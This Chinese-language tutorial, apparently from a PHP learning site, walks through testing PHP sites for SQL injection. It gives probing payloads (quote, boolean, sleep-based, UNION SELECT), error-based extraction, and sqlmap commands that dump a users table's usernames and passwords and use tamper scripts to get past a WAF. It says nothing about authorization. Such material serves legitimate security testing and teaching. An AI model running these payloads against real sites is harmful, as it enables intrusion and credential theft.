核心是验证用户输入是否被直接拼入sql且未处理;第一步找注入点(如?id=1),第二步用'、and 1=1/1=2、sleep(3)等payload试探响应变化,第三步据报错/布尔/时间/union反馈归类注入类型,第四步用sqlmap或burp辅助深入。

测试 PHP 站点的 SQL 注入漏洞,核心是验证用户可控输入是否被直接拼入 SQL 查询且未做安全处理。整个过程不依赖复杂工具,从浏览器地址栏就能启动,重点在于观察响应变化。
第一步:找注入点,盯紧参数和输入位置
常见注入点包括 URL 中的 GET 参数(如 ?id=1、?name=test)、登录/搜索表单的 POST 字段、Cookie 值、HTTP 头部(如 User-Agent、Referer)。只要该位置的数据最终参与了数据库查询,就值得测试。
判断依据很简单:这个输入是否影响页面返回内容?比如修改 ?id=1 为 ?id=2,页面显示不同记录,说明它很可能连着数据库。
第二步:用基础 Payload 快速试探
在目标参数后追加以下语句(注意 URL 编码,如空格用 %20,# 用 %23),逐个观察页面反应:
- ?id=1' —— 看是否报错(如 “You have an error in your SQL syntax”),有则大概率存在字符型注入
- ?id=1 and 1=1 与 ?id=1 and 1=2 —— 两者返回页面明显不同(一个正常、一个空白/报错),说明存在布尔盲注可能
- ?id=1' and sleep(3)--+ —— 页面延迟 3 秒以上才加载,基本确认可触发时间盲注
- ?id=-1 union select 1,2,3--+ —— 若页面多出数字 1、2、3 或报错中出现“column count doesn’t match”,说明 UNION 查询可能可用
第三步:区分类型,选对后续手法
根据上一步反馈,快速归类:
- 报错回显明显 → 可走报错注入(如 MySQL 的 extractvalue()、PostgreSQL 的 pg_sleep())直接获取数据库名、表名
- 页面有差异但无错误 → 布尔盲注为主,用脚本或 sqlmap 自动化逐位猜解
- 响应时间稳定偏长 → 时间盲注是主力,配合 if(1=1,sleep(2),0) 类逻辑推进
- UNION 可用且列数匹配 → 直接 UNION SELECT @@version, user(), database() 拿关键信息
第四步:用工具辅助验证与深入
手动确认存在漏洞后,可用工具提升效率:
- sqlmap -u "http://site.com/page.php?id=1" → 自动探测注入类型、数据库指纹、当前库名、表结构
- sqlmap -u "...id=1" --dump -T users -C username,password → 导出指定表字段数据
- 配合 Burp Suite 抓包后发送到 sqlmap,覆盖 POST、Cookie、Header 类注入点
注意:真实环境中常有 WAF,需加 --random-agent、--tamper space2comment 等绕过策略,但前提是手动已确认基础可注入性。
php免费学习视频:立即使用
踏上前端学习之旅,开启通往精通之路!从前端基础到项目实战,循序渐进,一步一个脚印,迈向巅峰!











